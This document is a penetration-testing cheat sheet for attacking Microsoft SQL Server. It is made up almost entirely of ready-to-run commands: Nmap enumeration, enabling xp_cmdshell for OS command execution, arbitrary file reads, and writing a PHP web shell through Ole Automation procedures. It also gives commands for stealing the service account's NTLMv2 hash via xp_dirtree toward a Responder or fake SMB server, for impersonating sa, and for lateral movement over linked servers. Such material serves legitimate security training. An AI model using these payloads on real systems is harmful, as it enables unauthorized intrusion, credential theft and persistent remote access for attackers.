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MSSQL

Introduction

Microsoft SQL (MSSQL) is Microsoft's SQL-based relational database management system
The default MSSQL port is 1433 TCP

MSSQL Enumeration & Connection to the Server

  • Enumeration with Nmap NSE:
    sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 10.129.201.248
  • Log in to the MSSQL server using Windows authentication:
    mssqlclient.py <user>@<FQDN/IP> -windows-auth
  • Connect to the MSSQL Server using sqlcmd:
    sqlcmd -S SRVMSSQL -U validuser -P validpassword -y 30 -Y 30
  • Connect to the MSSQL Server using sqsh:
    sqsh -S 10.129.203.7 -U validuser -P validpassword -h
  • Connect using local windows account:
    sqsh -S 10.129.203.7 -U .\\validuser -P validpassword -h

Interacting with a MSSQL Server

Command Description
SELECT name FROM master.dbo.sysdatabases Show databases
USE users Use a database
SELECT table_name FROM users.INFORMATION_SCHEMA.TABLES Show tables from users database
SELECT * FROM users Select all Data from Table "users"

MSSQL Command Execution

MSSQL can allow command execution through the xp_cmdshell command: xp_cmdshell 'whoami'
The commands will be executed using the mssql's service account privileges.

Enabling xp_cmdshell:
If xp_cmdshell is disabled, you might be able to enable it using the following commands:

EXECUTE sp_configure 'show advanced options', 1
RECONFIGURE
EXECUTE sp_configure 'xp_cmdshell', 1
RECONFIGURE

MSSQL File Read

We can read any file to which the account has read access using the following query:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

MSSQL File Write

  • To write files using MSSQL, we need to enable Ole Automation Procedures, which requires admin privileges
  • After that, we need to execute some stored procedures to create the file:

  1. Enable Ole Automation Procedures:

    sp_configure 'show advanced options', 1
RECONFIGURE
sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

  2. Create a File:

    DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\path\to\your\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

Capture MSSQL Service Hash

  • It's possible to capture the MSSQL Service user's account hash using a fake SMB Server or Responder
  • When using the MSSQL xp_subdirs or xp_dirtree stored procedures pointing to our fake SMB Server, the MSSQL Service will be forced to authenticate using his NTLMv2 hash

Follow these steps:

  1. Start Responder or start SMB fake server:
    sudo responder -I tun0 or sudo impacket-smbserver share ./ -smb2support
  2. Hash stealing through xp_dirtree: EXEC master..xp_dirtree '\\10.10.110.17\share\'
  3. Hash stealing through xp_subdirs: EXEC master..xp_subdirs '\\10.10.110.17\share\'

MSSQL - Impersonate Existing Users

SQL Server has a special permission, named IMPERSONATE, that allows the executing user to take on the permissions of another user or login until the context is reset or the session ends

To impersonate a user:

  1. Verify if current account is a sysadmin (By default, sysadmins can impersonate any user)

    SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

  2. Identify the users that we can impersonate:

    SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'

  3. Impersonate a user (example: sa)

    EXECUTE AS LOGIN = 'sa'

Communicating with Other Databases [Linked Servers]

  • MSSQL has a configuration option called linked servers
  • If we manage to gain access to a SQL Server with a linked server configured, we may be able to move laterally to that database server.
  • Administrators can configure a linked server using credentials from the remote server.
  • If those credentials have sysadmin privileges, we may be able to execute commands in the remote SQL instance.

Follow these steps:

  1. Identify Linked Servers in MSSQL:
    SELECT srvname, isremote FROM sysservers
  2. Identify the user for the connection and its privileges:
    EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.10.10.100\SQLSERVERNAME]